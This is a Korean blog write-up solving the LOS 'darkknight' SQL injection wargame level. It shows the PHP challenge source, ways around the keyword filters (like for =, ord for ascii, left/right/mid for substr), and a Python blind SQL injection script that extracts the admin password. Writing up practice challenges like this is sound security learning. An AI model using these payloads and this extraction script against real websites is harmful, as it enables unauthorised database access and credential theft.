R136A1
[LOS] 12. darknight :: blind SI 본문
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~");
if(preg_match('/\'/i', $_GET[pw])) exit("HeHe");
if(preg_match('/\'|substr|ascii|=/i', $_GET[no])) exit("HeHe");
$query = "select id from prob_darkknight where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_darkknight where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("darkknight");
highlight_file(__FILE__);
PART1
제약조건
작은따옴표('), =, substr, ascii 함수 못씀 (대소문자 상관없이)
pw 파라미터에 작은따옴표(') 못씀 = 뒤 함수를 제약하지 못함 → no에 exploit해야 함...
select id from prob_darkknight where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}
Hello {$result[id]} 로 쿼리의 결과 확인 가능
연산자 순서가 and -> or 순서이기때문에 no에서 or 조건을 추가하면 앞의 조건들을 다 무시할 수 있다
ex) 1 and 0 and 1 or 1 → 뭐든 __ or 1 → 항상 참
- - - - - - - - - - - -
PART2
추가 제약조건
pw 파라미터에 addslashes 함수 적용 → 주로 쿼리 전달 전에 쓰여서, ' " \ null 값을 \' \" \\ \null 로 replace한다.
이렇게 생성된 SQL문을 실행시키면, \' \" \\ 등의 값이 문법이 아닌 '문자'로 해석된다.
select pw from prob_darkknight where id='admin' and pw='{$_GET[pw]}'
result['pw'] == $_GET['pw'] 이므로 일반적인 SQL injection로는 알아낼 수 없다.
length, mid와 같은 함수를 통해 특정 정보를 추출해낼 수 있는 blind SQL Injection이 필요
→ 참, 거짓을 통해 확인할 수 있는 환경 갖춤 → Blind 맞음
문제 풀이의 목적은 여기이다. admin의 패스워드를 알아내는 것
=================
다시 돌아와서, 패스워드를 알아내려면 blind-sqli를 사용해야 한다.
blind-sqli로부터 정보를 알아내는 곳은 PART1이다. (PART2는 쓰이지 않음)
분석한 것을 토대로 no에 익스플로잇 코드를 작성해보자.
select id from prob_darkknight where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}
1. pw의 길이 구하기
select id from prob_darkknight where id='guest' and pw='{$_GET[pw]}' and no=아무숫자 or id like "admin" and length(pw) like 숫자
여태까지 문자열이었던 pw=' ' 와 달리 no는 int 형이라 따옴표로 끝맺지 않아도 된다는 점을 활용하면 된다.
(프로그래머가 코딩한 ' " 등에 구속받지 않음)
for len in range(99):
query = f"?no=1 or id like \"admin\" and length(pw) like {len} %23"
res = requests.get(url + query, cookies=cookies, headers=headers)
# print(res.raise_for_status)
if ("Hello admin" in res.text):
print(f"[+] Get Password length : {len}")
break
2. pw 구하기
for j 안에 뭘 넣느냐랑
ord(right(left ... 를 어떻게 구성하느냐는 취향차이이다.
pw=""
for i in range(1, len + 1): # pw의 길이만큼 반복 1부터 len까지
for j in range(ord('0'), ord('z')): # 0-9, a-z, A-Z까지의 ASCII코드 - 문자열 넣어줘도 한 글자씩 들어감 abcd...
query = f"?no=1 or id like \"admin\" and ord(right(left(pw, {i}), 1)) like {j}"
res = requests.get(url + query, cookies=cookies, headers=headers)
# print(res.raise_for_status)
if res.text.find('Hello admin') != -1:
pw += chr(j)
print(f"[*] Finding... : {pw}")
break
print(f"[+] Found Password : {pw}")
ascii 우회
ord 사용
ascii(substr(pw,1,1)) = ord(substr(pw,1,1))
char 함수 이용
substr 우회
right, left, mid 사용
substr('apple',1,1) = 'a' -> right(left('apple',1,1) = 'a'
substr('apple',1,1) = 'a' -> mid('apple',1,1) = 'a'
= 우회
like, between 이용
최종 페이로드
select pw from prob_darkknight where id='admin' and pw='{$_GET[pw]}'
?pw=0b70ea1f
'WEB SECURITY > SQL Injection' 카테고리의 다른 글
[LOS] 14. giant :: SI (0) | 2021.09.18 |
---|---|
[LOS] 13. bugbear :: blind SI (0) | 2021.09.18 |
[LOS] 11. golem :: blind SI (0) | 2021.04.27 |
[LOS] 7. orge :: blind SI (0) | 2021.04.26 |
[LOS] 5. wolfman, 6. darkelf, 8. troll, 9. vampire, 10. skeleton :: SI (0) | 2021.04.26 |